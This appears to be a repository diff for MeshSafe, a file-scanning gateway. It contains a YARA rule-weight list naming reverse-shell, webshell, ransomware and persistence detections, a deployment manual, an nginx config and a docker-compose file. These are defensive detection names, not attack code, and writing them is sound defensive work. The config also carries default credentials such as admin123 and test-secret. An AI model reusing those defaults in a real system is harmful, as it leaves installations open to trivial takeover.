# ---------- 通知设置 ----------
notification:
# 拒绝时是否返回详细原因给调用方(便于摆渡系统向用户提示)
include_reason: true
# 拒绝原因的最大长度
max_reason_length: 500
# ---------- YARA 规则权重映射 ----------
# 按规则名精细设定权重(0-100),覆盖 binary.py 里的默认 weight=50
# 命中但不在下列名单中的规则 weight 保持默认值 50
# 严重度分档由规则内 meta.risk_level 决定(critical/high/medium/low)
yara_rule_weights:
critical: # weight=85
- C3_PHP_Webshell_Oneliner
- C3_JSP_Webshell_RuntimeExec
- C3_Webshell_Behinder
- C1_PE_ProcessInjection
- C8_Ransomware_Encryption
- C8_Ransomware_LockBit
- C8_Ransomware_BlackCat
- C8_Ransomware_Conti
- C7_Linux_ReverseShell_Bash
- C7_Linux_ReverseShell_NC
- C7_Linux_Rootkit_KernelModule
high: # weight=65
- C3_PHP_Webshell_Obfuscated
- C3_PHP_Webshell_VariableDeformation
- C3_Webshell_CommandExecutionEcho
- C3_Webshell_Godzilla
- C1_PE_Downloader_Loader
- C1_PE_RAT_CommandControl
- C1_PE_LOLBin_Usage
- C1_PE_Mutex_Persistence
- C7_Linux_ReverseShell_Python
- C7_Linux_ReverseShell_Perl
- C7_Linux_ReverseShell_Socat
- C7_Linux_Persistence_Crontab
- C7_Linux_Persistence_SystemD
- C7_Linux_Persistence_AuthorizedKeys
- C7_Linux_Persistence_LD_PRELOAD
- C8_Ransomware_VolumeShadow
- C8_Ransomware_Note_Filename
- C8_Ransomware_Ryuk_Pseudo
medium: # weight=45
- C9_Packer_UPX
- C9_Packer_Themida_VMP
- C1_PE_DLLHijacking
- C1_PE_EntropyHighNetwork
- C7_Linux_Miner_Generic
- C7_Misc_Ruby_Lua_ReverseShell
- C7_Network_Tools_Malicious
- C3_Webshell_AntSword
- C3_Webshell_ASPNET
- C3_Webshell_ASP_Classic
- C3_JSP_Webshell_Deserialization
- C3_JSP_Webshell_MemoryShell
- C3_Webshell_CommandExecutionEcho
- C8_Ransomware_Extension_Blacklist
low: # weight=25
- C7_Linux_ReverseShell_Misc
# ---------- 内网特征词表引擎(P1)----------
# 规则为数据驱动:在 policy.yaml 中声明,引擎从 PolicyStore 加载。
# 控制台 P2 可实时修改并热重载。
# 每条规则字段:
# name: 规则名(Finding.rule)
# match: contains | regex | any_of
# pattern: contains/regex 模式的匹配串
# keywords: any_of 模式的关键词列表
# weight: 评分权重(默认 30)
# severity: low | medium | high | critical(默认 medium)
# ignore_case: 正则模式是否忽略大小写
keyword_rules:
# ---- 内网合规特征(辅助判断,不进零容忍)----
- name: ClassifiedLevelMarkers
match: any_of
keywords: ["绝密", "机密", "秘密", "内部文件", "内部资料", "禁止外传"]
weight: 25
severity: low
- name: InternalDocumentPatterns
match: regex
pattern: "(?:国家机密|涉密|密级[::]\\s*[一二三四五])"
ignore_case: true
weight: 30
severity: medium
# ---------- 审计 ----------
audit:
# 记录扫描结果明细到审计日志
log_findings: true
# 是否记录提取到的子文件路径
log_extracted_paths: true

308
deploy/OPERATIONS.md Normal file
View File

@@ -0,0 +1,308 @@
# MeshSafe 部署操作手册
> 本文档是**给运维/实施工程师直接照着干的**。不讲原理,只讲"改什么、改成什么、敲什么命令"。仓库根目录在服务器上假设为 `/opt/meshsafe`(Windows 上就是 `d:\project\MeshSafe`)。下面统一用 `/opt/meshsafe` 指代。
***
## 第零步:先填这 5 个决策项
**动手改配置之前先把这 5 个值定下来**,不确定的问甲方。&#x20;
| # | 决策项 | 填什么 | 怎么查 |
| - | -------------------- | ---------------------- | ------------------------------------------------------------------------------------------------ |
| ① | 服务器 CPU **物理核数** | 一个整数,比如 8 | Linux: `lscpu | grep "^CPU(s)"` 的值 / `lscpu | grep "Socket(s)"` 再除一下;Windows: 任务管理器 → 性能 → CPU |
| ② | 有几个**外部系统**要对接扫描 API | 比如 3 个:采购系统、档案系统、摆渡客户端 | 问甲方"哪些系统会调你家扫描接口" |
| ③ | 预计**峰值并发**(同时在扫的文件数) | 比如 50 | 问甲方"忙的时候一般多少个文件同时扫" |
| ④ | Postgres 密码定什么 | 自己定一个 ≥ 16 位的随机串 | 自己想,不要用仓库默认的 `meshsafe_db_pw_2026` |
| ⑤ | 服务器**内网 IP** | 比如 `192.168.50.200` | `ip addr` / `ipconfig` 查 |
> **例**:某客户服务器 8 核,3 个对接系统,峰值并发 50,Postgres 密码 abc123xyz789qwe,内网 IP 192.168.50.200
***
## 第一步:生成密钥(3 条命令,复制就能跑)
在服务器上(或本地)跑:
```bash
# 1. MASTER_KEY(主密钥,所有 API 客户端密钥从它派生)
python -c "import base64, os; print(base64.b64encode(os.urandom(32)).decode())"
# 输出示例:F0CcBAXSk050fCbtf4jYwyaPW8dCkiUnsJZ7H2WPgFk=
# 2. ADMIN_PASSWORD(控制台默认管理员密码,16 位随机)
python -c "import base64, os; print(base64.b64encode(os.urandom(12)).decode())"
# 输出示例:SGVsbG9Xb3JsZDEyMzQ1Njc4
# 3. Postgres 密码(如果不想自己想,也可以生成)
python -c "import base64, os; print(base64.b64encode(os.urandom(16)).decode())"
# 输出示例:YWJjZGVmZ2hpamtsbW5vcHFyc3Q=
```
**生成好后把这 3 个值记下来**。MASTER_KEY 要**离线备份**(让两位管理员各自存一份,密码管理器 / 纸质都行)。
***
## 第二步:逐文件改
### 文件 1:`.env`(项目根目录下)
打开 `/opt/meshsafe/.env`,**改下面几行**:
| 行 | 当前内容 | 改成 |
| -- | ------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| 11 | `MESHSAFE_MASTER_KEY=F0CcBAXSk050fCbtf4jYwyaPW8dCkiUnsJZ7H2WPgFk=` | 第一步生成的 MASTER_KEY |
| 14 | `MESHSAFE_DB_PASSWORD=meshsafe_db_pw_2026` | 第四步的 Postgres 密码 |
| 19 | `MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:meshsafe_db_pw_2026@postgres:5432/meshsafe` | ⚠️ **密码要和第 14 行一致**。把 URL 里的密码部分(`meshsafe_db_pw_2026`)替换成你实际的 Postgres 密码。完整形式:`postgresql+psycopg2://meshsafe:你的Postgres密码@postgres:5432/meshsafe` |
| 23 | `MESHSAFE_ADMIN_PASSWORD=admin123` | 第一步生成的 ADMIN_PASSWORD |
| 26 | `UVICORN_WORKERS=15` | 第一步的 CPU **物理核数** |
| 27 | `DB_POOL_SIZE=30` | **计算**:物理核数 × 3。8 核填 24,16 核填 45 |
| 28 | `DB_MAX_OVERFLOW=50` | **计算**:物理核数 × 5。8 核填 40,16 核填 80 |
> 上面示例(8 核服务器、密码 abc123xyz789qwe)的 .env 相关行:```
> MESHSAFE_MASTER_KEY=你生成的key
> MESHSAFE_DB_PASSWORD=abc123xyz789qwe
> MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:abc123xyz789qwe@postgres:5432/meshsafe
> MESHSAFE_ADMIN_PASSWORD=你生成的admin密码
> UVICORN_WORKERS=8
> DB_POOL_SIZE=24
> DB_MAX_OVERFLOW=40
> ```
***
### 文件 2:`docker-compose.yml`(项目根目录下)
打开 `/opt/meshsafe/docker-compose.yml`,**改 1 行**(api 服务的 environment 里,大概第 106 行):
```
当前: - MESHSAFE_API_CLIENTS=test-client:test-secret,duandao-system-a:real-secret
```
**改成**:把"②有几个外部系统"里的每个系统,分配一对 `client_id:client_secret`,逗号隔开。
**给每个对接系统生成 client_secret**:
```bash
python -c "import base64, os; print(base64.b64encode(os.urandom(24)).decode())"
```
**示例**(3 个对接系统):
```yaml
- MESHSAFE_API_CLIENTS=system-caigou:aBc123xyz789...,system-dangoaN:DeF456ghi012...,system-bodao:GhI789jkl345...
```
> **格式说明**:`client_id` 用英文代号(不要中文、不要空格),`client_secret` 是上条命令生成的随机串,一对一对用英文逗号隔开。
> **其他都不要改!** compose 里的 `UVICORN_WORKERS`、`DB_POOL_SIZE`、`DB_MAX_OVERFLOW` 这三行是从 .env 读取的,改 .env 就自动生效了。
***
### 文件 3:`deploy/nginx/default.conf`
打开 `/opt/meshsafe/deploy/nginx/default.conf`,**可选改 IP 白名单**。
**不改也行**(内网光闸场景)。改的话,在每个 `location` 块里加 `allow` 和 `deny` 行,格式:
```nginx
location /console/ {
allow 运维网段/掩码; # 例如 allow 192.168.1.0/24;
deny all; # 其他都拒绝
proxy_pass http://api:8443;
... 其余不动 ...
}
location /api/ {
allow 摆渡客户端固定IP; # 例如 allow 192.168.50.100;
deny all;
proxy_pass http://api:8443;
... 其余不动 ...
}
```
**如果不知道有哪些 IP 要放行,先跳过这步**——等测试通了再回来加。
***
## 第三步:启动
按顺序执行,**每一步看状态对了再走下一步**:
```bash
cd /opt/meshsafe
# 1. 建磁盘目录
mkdir -p data/postgres data/redis data/clamav data/logs data/temp data/diagnostics
# 2. 起基础设施(Postgres + Redis)
docker compose up -d postgres redis
# 3. 等它们 healthy
docker compose ps postgres redis
# 看到 "healthy" 再往下,否则等 10 秒再看
# 4. 起 ClamAV(病毒引擎)
# 注意:如果是光闸内网,ClamAV 签名库要先摆渡到 data/clamav/ 目录
# 首次启动如果 data/clamav 是空的会自动 freshclam(需要外网)
docker compose up -d clamav
# 等 2~5 分钟,因为 ClamAV 启动慢
# 5. 构建并起 API
docker compose up -d --build api
# 6. 初始化数据库(建表 + admin 账号 + 初始策略)
docker compose exec api python scripts/init_db.py
# 应该看到 "=== 初始化完成 ==="
# 7. 起 Nginx(最后)
docker compose up -d nginx
```
**全绿检查**:
```bash
docker compose ps
# 所有 service 状态应该是 Up (healthy) 或 Up
```
***
## 第四步:验证
```bash
# 1. 健康检查
curl http://服务器IP:44380/health
# 应该返回 {"status":"ok", ...}
# 2. 控制台(浏览器打开)
# http://服务器IP:44380/console/login
# 用 .env 里的 MESHSAFE_ADMIN_PASSWORD 登录(首次登录会强制改密码)
```
***
## 第五步:给对接方交付的东西
对 `MESHSAFE_API_CLIENTS` 里配的**每一个** client_id:
| 交付物 | 内容 | 传递方式 |
| ------------------ | ------------------------- | -------------------------------- |
| **client_id** | 例如 `system-caigou` | 邮件/IM 明文 |
| **client_secret** | 对应的那个 secret | **加密传**(企业邮箱加密 / 内网加密聊天,不要明文发微信) |
| **MASTER_KEY** | **不要给!** 只在 MeshSafe 服务端用 | — |
| **API 地址** | `http://服务器IP:44380` | 明文 |
| **Python 签名示例** | 见下面"附件 A" | 明文 |
> **给密钥时要提醒对方**:secret 泄露或人员离职,立即通知你吊销(你从 `MESHSAFE_API_CLIENTS` 里删掉那一对,重启 api 即生效)。
***
## 第六步:日常操作命令速查
```bash
# 日志
docker compose logs -f api --tail 200 # 实时看 api 日志
docker compose logs -f nginx --tail 200 # 看 nginx 访问日志
# 重启
docker compose restart api # 改 .env 后必须重启
docker compose restart nginx # 改 default.conf 后必须重启
# 更新 API 客户端密钥(改完 .env 或 compose 里的 MESHSAFE_API_CLIENTS)
docker compose restart api
# 诊断打包(生成 tar.gz 给研发看)
docker compose exec api python -m app.diagnostic.dumper
# 强制重建 admin 账号(忘了密码时用)
docker compose exec api python -c "
from app.db import SessionLocal
from app.models import ConsoleUser
db = SessionLocal()
db.query(ConsoleUser).filter_by(username='admin').delete()
db.commit()
db.close()
"
docker compose exec api python scripts/init_db.py
# 全停
docker compose down
# 全停并删数据(⚠️ 生产不要乱执行!会清掉所有扫描记录和策略历史)
docker compose down -v
```
***
## 附件 A:给对接方的 Python 签名示例
对方拿到 client_id + client_secret 后,用下面这个代码发扫描请求:
```python
import os, time, hashlib, hmac, base64
import requests
# ====== 对接方填写这三个值 ======
CLIENT_ID = "你拿到的client_id"
CLIENT_SECRET = "你拿到的client_secret"
BASE_URL = "http://MeshSafe服务器IP:44380"
# ===============================
def hkdf_sha256(secret: bytes, salt: str, info: str, length: int = 32) -> bytes:
"""从 client_secret 派生请求签名密钥。不要改这行。"""
prk = hmac.new(salt.encode(), secret, hashlib.sha256).digest()
okm, block, counter = b"", b"", 1
while len(okm) < length:
block = hmac.new(prk, block + info.encode() + bytes([counter]), hashlib.sha256).digest()
okm += block
counter += 1
return okm[:length]
def sign_request(method, path, query=None, body=b""):
ts = str(int(time.time()))
nonce = os.urandom(16).hex()
body_hash = hashlib.sha256(body).hexdigest()
qs = "&".join(f"{k}={v}" for k, v in sorted((query or {}).items()))
signing_string = "\n".join([method.upper(), path, qs, body_hash, ts, nonce, CLIENT_ID])
signing_key = hkdf_sha256(
CLIENT_SECRET.encode(),
CLIENT_ID,
"meshsafe/api/v1/request-signing",
)
sig = hmac.new(signing_key, signing_string.encode(), hashlib.sha256).hexdigest()
return {
"X-MS-Client-Id": CLIENT_ID,
"X-MS-Timestamp": ts,
"X-MS-Nonce": nonce,
"X-MS-Body-SHA256": body_hash,
"X-MS-Signature": sig,
}
# ====== 实际使用 ======
# 场景 1:扫一个文件
with open("待扫描的文件.exe", "rb") as f:
body = f.read()
headers = sign_request(
"POST",
"/api/v1/scans/submit",
query={"channel": "caiGou系统"}, # 可选,标识来源
body=body,
)
r = requests.post(f"{BASE_URL}/api/v1/scans/submit?channel=caiGou系统",
headers=headers, data=body)
print(r.status_code, r.json())
# 期望:200 + {"verdict": "malicious"/"pass", "score": ..., "action": ...}
```
***
## 附件 B:验签失败对照(对接方报错时查这里)
| HTTP 状态 | detail 内容 | 原因 |
| ------- | ----------- | ---------------------------------------------- |
| 401 | 缺少必要的认证请求头 | 5 个 `X-MS-*` 头少了哪个 |
| 401 | 认证失败 | client_id 写错了?secret 错了?我方 MASTER_KEY 换了没通知? |
| 401 | 请求时间戳超出允许偏差 | 你方服务器和 MeshSafe 服务器时间差超过 5 分钟了(NTP 对时) |
| 401 | 重复请求,已拒绝 | 同一个 nonce 用了两次(每次必须生成新 nonce) |
| 429 | 请求过于频繁 | 你方调用超过 120 次/分钟/客户端。降速或让我方调大限流 |

62
deploy/nginx/default.conf Normal file
View File

@@ -0,0 +1,62 @@
# =============================================================================
# MeshSafe Nginx 反向代理(内网 HTTP 明文)
# =============================================================================
#
# 外部端口:44380(compose 映射 44380:80)
# 上游:api:8443(docker 网络内服务名)
# 无 TLS —— 光闸内网场景,外层防护靠光闸本身
#
# 访问路径:
# http://<内网服务器IP>:44380/console/login → 控制台
# http://<内网服务器IP>:44380/api/v1/scans → 扫描 API
# http://<内网服务器IP>:44380/api/v1/health → 健康检查
# =============================================================================
server {
listen 80;
server_name _;
# ---- 根路径 → 自动跳转到控制台登录页(保留原始 host + port)----
location = / {
return 302 $scheme://$http_host/console/login;
}
# 光闸可能传大文件(ISO 镜像 / 大压缩包)
client_max_body_size 500M;
client_body_timeout 600s;
client_header_timeout 60s;
send_timeout 600s;
# ---- 控制台 ----
location /console/ {
proxy_pass http://api:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_read_timeout 300s;
}
# ---- 扫描 API ----
location /api/ {
proxy_pass http://api:8443;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_request_buffering off; # 大文件流式转发,不在 Nginx 缓冲
}
# ---- 健康检查(关 access_log 减少日志噪音)----
location = /health {
proxy_pass http://api:8443/api/v1/health;
access_log off;
}
# ---- 静态资源(logo、CSS 等)----
location /static/ {
proxy_pass http://api:8443/static/;
expires 7d;
access_log off;
}
}

157
docker-compose.yml Normal file
View File

@@ -0,0 +1,157 @@
# =============================================================================
# MeshSafe 单机部署(内网光闸摆渡场景)
# =============================================================================
#
# 启动顺序:
# 1) 准备 .env(cp .env.example .env 并填 MESHSAFE_MASTER_KEY)
# 2) 准备数据目录(mkdir -p data/{postgres,redis,clamav,logs,temp})
# 3) docker compose up -d postgres redis # 先起基础设施
# 4) docker compose up -d clamav # ClamAV(如首次启动尝试 freshclam 拉签名库)
# 5) bash scripts/import_clamav_db.sh clamav-db-*.tar.gz # 光闸摆渡导入签名库(可选)
# 6) docker compose up -d --build api # 起主服务
# 7) docker compose exec api python scripts/init_db.py # 建表 + admin + 初始策略
# 8) docker compose up -d nginx # 最后起 Nginx
#
# 外部访问:http://<内网服务器IP>:44380/console/login
# =============================================================================
services:
# ---------- PostgreSQL ----------
postgres:
image: postgres:16-alpine
container_name: meshsafe-postgres
restart: unless-stopped
networks: [meshsafe_net]
environment:
- TZ=Asia/Shanghai
- POSTGRES_DB=meshsafe
- POSTGRES_USER=meshsafe
- POSTGRES_PASSWORD=${MESHSAFE_DB_PASSWORD:-meshsafe}
volumes:
- ./data/postgres:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U meshsafe -d meshsafe"]
interval: 10s
timeout: 3s
retries: 5
# ---------- Redis ----------
redis:
image: redis:7-alpine
container_name: meshsafe-redis
restart: unless-stopped
networks: [meshsafe_net]
environment:
- TZ=Asia/Shanghai
command: ["redis-server", "--maxmemory", "128mb", "--maxmemory-policy", "allkeys-lru"]
volumes:
- ./data/redis:/data
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 10s
timeout: 3s
retries: 5
# ---------- ClamAV ----------
# 生产:签名库通过光闸离线同步
# 外网 → bash scripts/sync_clamav_db.sh 生成 clamav-db-*.tar.gz
# 光闸摆渡 → bash scripts/import_clamav_db.sh clamav-db-*.tar.gz(放 ./data/clamav 下)
# 首次启动脚本(scripts/init_clamav.sh):如 ./data/clamav 为空则尝试 freshclam
clamav:
image: clamav/clamav:latest
container_name: meshsafe-clamav
restart: unless-stopped
networks: [meshsafe_net]
environment:
- TZ=Asia/Shanghai
volumes:
- ./data/clamav:/var/lib/clamav
- ./scripts/init_clamav.sh:/init_clamav.sh:ro
- ./data/clamav/clamd.conf:/etc/clamav/clamd.conf:ro
entrypoint: ["/init_clamav.sh"]
healthcheck:
test: ["CMD-SHELL", "echo PING | nc -w 2 localhost 3310 || exit 1"]
interval: 60s
timeout: 5s
start_period: 180s
retries: 5
# ---------- API 主服务 ----------
api:
build:
context: .
dockerfile: Dockerfile
image: meshsafe:latest
container_name: meshsafe-api
restart: unless-stopped
networks: [meshsafe_net]
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
clamav:
condition: service_started
environment:
- TZ=Asia/Shanghai
- MESHSAFE_ENV=prod
- MESHSAFE_HOST=0.0.0.0
- MESHSAFE_PORT=8443
- MESHSAFE_LOG_LEVEL=INFO
- MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:${MESHSAFE_DB_PASSWORD:-meshsafe}@postgres:5432/meshsafe
- MESHSAFE_MASTER_KEY=${MESHSAFE_MASTER_KEY:?MASTER_KEY_REQUIRED}
- MESHSAFE_ADMIN_PASSWORD=${MESHSAFE_ADMIN_PASSWORD:-admin123}
- MESHSAFE_POLICY_FILE=/app/config/policy.yaml
- MESHSAFE_CLAMAV_HOST=clamav
# API 调用方白名单:client_id:client_secret,client_id2:client_secret2
# ⚠️ 生产环境必须替换为真实密钥,切勿把生产密钥提交到仓库
- MESHSAFE_API_CLIENTS=${MESHSAFE_API_CLIENTS:-test-client:test-secret}
- MESHSAFE_CLAMAV_PORT=3310
- MESHSAFE_REDIS_URL=redis://redis:6379/0
- MESHSAFE_WORKERS=2
- MESHSAFE_RULES_DIR=/app/rules
# uvicorn / DB 连接池(并发优化)
- UVICORN_WORKERS=${UVICORN_WORKERS:-8}
- DB_POOL_SIZE=${DB_POOL_SIZE:-30}
- DB_MAX_OVERFLOW=${DB_MAX_OVERFLOW:-50}
volumes:
- ./data/logs:/var/log/meshsafe
- ./data/temp:/tmp/meshsafe
- ./rules:/app/rules:ro
- ./config/policy.yaml:/app/config/policy.yaml:ro
- ./config/diagnostics.yaml:/app/config/diagnostics.yaml:ro
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
group_add:
- "999" # docker.sock 的 GID,让 api 容器能读
healthcheck:
test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8443/api/v1/health', timeout=3).read()"]
interval: 30s
timeout: 5s
start_period: 15s
retries: 3
# ---------- Nginx(反向代理,内网 HTTP 明文)----------
# 外部端口 44380 → 内部 80 → api:8443
# 无 TLS,外层防护靠光闸
nginx:
image: nginx:1.27-alpine
container_name: meshsafe-nginx
restart: unless-stopped
networks: [meshsafe_net]
environment:
- TZ=Asia/Shanghai
depends_on:
api:
condition: service_healthy
ports:
- "0.0.0.0:44380:80"
volumes:
- ./deploy/nginx/default.conf:/etc/nginx/conf.d/default.conf:ro
# ---------- 独立 bridge 网络 ----------
# 容器间走服务名通信,IP 由 Docker 自动分配,无需固定网段
networks:
meshsafe_net:
driver: bridge

1679
docs/00-总体方案.md Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,494 @@
# MeshSafe Diagnostics Kit v1.0 方案
> 版本: v1.0
> 日期: 2026-10-28
> 状态: **待审核**
> 作者: MeshSafe Team
> 优先级: 高(P0)
---
## 一、定位
> **目标**:让 MeshSafe 运维人员在产品内部就能看到"系统健康状况",遇到问题能一键打包带出来给开发方分析。
>
> **边界**:
> - ❌ 不联网、不依赖外部服务、不做 LLM、不自动上传
> - ✅ 所有分析跑在客户容器里(在线定时)
> - ✅ 导出诊断包(手动触发,U 盘带出)
> - ✅ Docker 能力自动检测 + 三级降级
> - ✅ 全部定时器周期 + 规则阈值配置化
> - ✅ 总开关可关闭整个诊断套件(只留手动导出)
---
## 二、核心设计决策
| # | 决策 | 理由 |
|---|------|------|
| 1 | **在线层:只跑 grep 模式匹配,不收集完整日志** | 光闸内网,日志可能带客户敏感信息;完整日志只在**用户手动导出**时打包 |
| 2 | **三层定时器**(错误类 30s / DB 聚合 60s / 容器类 300s)| 拦截日志要快出快分析;容器/配置类变化慢 |
| 3 | **页面请求时必跑轻量规则**(DB 聚合 + 引擎健康 + 文件 stat) | ~430ms 用户无感,确保页面显示的是最新数据 |
| 4 | **日志匹配 + docker inspect 跑后台定时器** | 涉及 subprocess + IO,耗时 ~2.5s 不阻塞前台 |
| 5 | **Docker 能力三档降级**(full / partial / none) | 客户环境可能挂不了 docker.sock;降级后页面明确告诉用户哪些规则没跑 |
| 6 | **总开关 enabled** | 有的客户不需要/不想跑诊断,一键关掉只留手动导出 |
| 7 | **全部定时器周期 + 规则阈值配置化** | 光闸环境差异大,硬编码不合适 |
---
## 三、功能清单
### 3.1 控制台新页面:诊断面板
| # | 模块 | 展示内容 | 数据源 |
|---|------|---------|--------|
| A1 | 实时健康概览 | 4 张卡片:总扫描量、恶意拦截、**错误比例**(高就红)、引擎在线 | DB ScanTask + scanner.health() |
| A2 | 引擎健康详情 | 每个引擎状态、ClamAV 病毒库日期、YARA 规则数、最近检测耗时 | scanner.health() + 配置快照 |
| A3 | 容器运行状态 | 5 个容器 status / restart_count / Docker 能力检测结果 | docker inspect(或降级跳过)|
| A4 | 异常检测面板 | 规则引擎跑出来的问题列表(每条带严重度、消息、证据、检测时间戳)| 实时计算 + Redis 缓存 |
| A5 | 最近 20 条错误 | 从 DB 查 verdict='error' 的 ScanTask | DB |
| A6 | **一键导出按钮** | 生成 `diagnostics.tar.gz` → 浏览器下载 | 后端打包 |
**页面顶部信息栏**:
```
最后刷新: 10:29:15 🧩 Docker 能力: ✅ 完整(日志检测 + 容器状态)
或 ⚠️ 部分 / ℹ️ 未启用
或 ⛔ 诊断套件未启用
```
**每条规则结果带时间戳**(不同规则可不同,因来自不同运行通道):
```
🔴 R009 ClamAV 被 OOM Kill (检测于 10:29:15) ← 页面请求时跑
🟡 R002 ClamAV 病毒库 14 天未更新 (检测于 10:29:15) ← 页面请求时跑
🟢 R004 所有引擎健康 (检测于 10:28:02) ← 定时器跑
```
**未启用 Docker 时**:跳过 R009-R015,对应规则行显示 `ℹ️ Docker 能力不可用,本条规则未运行`。
**诊断套件总开关关闭时**:页面显示大横幅 `⛔ 诊断套件未启用`,下面规则列表隐藏,只保留手动导出按钮。
### 3.2 规则清单(15 条)
#### 页面请求必跑(轻量,~430ms,每次打开都算)
| 规则 | 类型 | 数据源 | 耗时 |
|------|------|--------|------|
| R001 error 比例 | DB SQL | ScanTask GROUP BY verdict | ~20ms |
| R005 24h 无扫描 | DB SQL | ScanTask MAX(created_at) | ~20ms |
| R002 ClamAV 病毒库日期 | 引擎协议 | clamd SIGINFO | ~100ms |
| R004 引擎健康 | 引擎协议 | scanner.health() | ~300ms |
| R003 YARA 规则 mtime | 文件 stat | os.path.getmtime | <1ms |
#### 定时器组 A:错误/拦截类(30s 周期)
| 规则 | 依赖 | 异常信号 | 匹配模式 |
|------|------|---------|---------|
| R009 ClamAV OOM/crash | docker logs clamd | clamd 被杀/崩 | `Killed` / `exit 137` / `segfault` / `oom-killed` |
| R010 Postgres FATAL | docker logs postgres | 连接池爆 | `FATAL` / `too many connections` / `PANIC` |
| R011 Redis OOM | docker logs redis | 内存满 | `OOM command not allowed` / `out of memory` |
| R012 磁盘满 | 5 个容器 docker logs | 磁盘爆 | `No space left on device` / `ENOSPC` |
| R013 Nginx upstream 失败 | docker logs nginx | api 挂了 | `Connection refused` / `upstream timed out` |
| R014 API 连接异常 | docker logs api | 依赖断了 | `Redis connection refused` / `Postgres connection refused` |
#### 定时器组 B:DB 聚合类(60s 周期)
| 规则 | 数据源 |
|------|--------|
| R006 suspicious > malicious | ScanTask GROUP BY verdict |
| R007 reject 比例 | ScanTask COUNT + verdict |
| R008 同 SHA256 重复 | ScanTask GROUP BY sha256 HAVING COUNT > 1 |
#### 定时器组 C:容器/引擎类(300s 周期)
| 规则 | 依赖 |
|------|------|
| R015 容器重启次数 | docker inspect × 5(任一 restart_count > 3)|
### 3.3 每条规则输出格式
```json
{
"id": "R009",
"severity": "high", // high / medium / low / info
"message": "ClamAV 被 OOM Kill(近 24h 重启 3 次)",
"hint": "给 clamav 容器加内存限制 512m → 1g",
"evidence": [
"meshsafe-clamav 最近日志:Killed (exit 137)",
"meshsafe-clamav restart_count = 3"
],
"run_at": "2026-10-28T10:29:15+08:00",
"run_by": "page_request", // page_request / timer:error_scan / export
"skipped": false,
"skip_reason": null
}
```
### 3.4 一键导出
**端点**:`GET /api/v1/telemetry/dump`(返回文件下载)
**导出包结构**:
```
diagnostics-20261028-103045.tar.gz
├── rules_report.json ← 导出这一刻跑一遍规则引擎的完整结果(带证据 + 时间戳)
├── containers/
│ ├── meshsafe-api.log ← docker logs --tail 2000(导出时抓完整)
│ ├── meshsafe-api.meta.json ← restart_count / started_at / 镜像 tag
│ ├── meshsafe-clamav.log
│ ├── meshsafe-clamav.meta.json
│ ├── meshsafe-postgres.log
│ ├── meshsafe-postgres.meta.json
│ ├── meshsafe-redis.log
│ ├── meshsafe-redis.meta.json
│ ├── meshsafe-nginx.log
│ └── meshsafe-nginx.meta.json
├── scan_tasks.json ← 最近 500 条 ScanTask(脱敏)
├── scan_findings.json ← 对应 ScanFinding(rule name / severity / engine)
├── engine_health.json ← scanner.health() 快照
├── policy_snapshot.json ← 策略版本号 + YARA 规则文件列表(**不含规则原文**)
├── docker_detect.json ← 启动时 Docker 能力检测结果
├── compose_state.json ← docker compose ps 输出(容器运行状态表)
└── meta.json ← 打包时间 / 生成人 / MeshSafe 版本 / 规则版本
```
**数据脱敏策略**:
| 字段 | 处理方式 |
|------|---------|
| 原始文件名 | 保留扩展名 + SHA256 前 8 位 |
| 文件路径 | 截断为相对路径 |
| 用户名 | `u***n` |
| IP | `10.0.1.*`(保留最后一段)|
| 策略 YAML | 默认只传版本号 + 规则列表;加开关可选全量 |
### 3.5 Docker 能力检测
启动时自动运行(`@app.on_event("startup")`),三档降级:
| 检测结果 | 条件 | 影响 | 页面显示 |
|---------|------|------|---------|
| **full** | docker.sock 挂载 + docker CLI 可用 + `docker logs/inspect meshsafe-api` 成功 | R009-R015 全部正常运行 | ✅ Docker 能力完整 |
| **partial** | docker CLI 有但 socket 权限不够 | R009-R015 可能部分失败 | ⚠️ Docker 访问受限,部分容器日志规则未运行 |
| **none** | socket 未挂 / CLI 未装 | R009-R015 **自动跳过** | ℹ️ 未启用 Docker 日志检测 |
检测结果写 `docker_detect.json`(导出包),同时存 Redis 供页面查询。
---
## 四、定时器运行架构
### 4.1 三层定时器 + 页面必跑
```
MeshSafe API 进程
│
├── FastAPI app
│ └── startup event
│ ├── ① DIAG_ENABLED? → false 直接 return(全部定时器不启动)
│ ├── ② Docker 能力检测 → 存内存 dict + Redis
│ ├── ③ asyncio.create_task(_timer_loop("error_scan", 30s, R001/R005/R009-R014))
│ ├── ④ asyncio.create_task(_timer_loop("db_aggregate", 60s, R006/R007/R008))
│ └── ⑤ asyncio.create_task(_timer_loop("container", 300s, R002/R003/R004/R015))
│
├── 页面请求 GET /console/diagnostics
│ ├── 同步跑 R001/R002/R003/R004/R005(~430ms,用户无感)
│ ├── 读 Redis 缓存拿 R006-R015
│ └── 合并 + 渲染(每条带时间戳)
│
└── 手动导出 GET /api/v1/telemetry/dump
├── 阻塞跑完整规则引擎(含实时 + 日志 + 容器)
├── 抓 docker logs --tail 2000(全容器)
├── 打包 tar.gz
└── 用后台线程跑,超时 60 秒
```
### 4.2 单次运行耗时预期
| 通道 | 规则 | 耗时 | 周期 | 并发安全 |
|------|------|------|------|---------|
| 页面必跑 | R001/R002/R003/R004/R005 | ~430ms | 每次页面加载 | 同步 await,不阻塞 worker |
| 定时器 A | R001/R005/R009-R014 | ~2.5s | 30s | asyncio.create_subprocess_exec |
| 定时器 B | R006/R007/R008 | ~60ms | 60s | 单次 SQL 查询 |
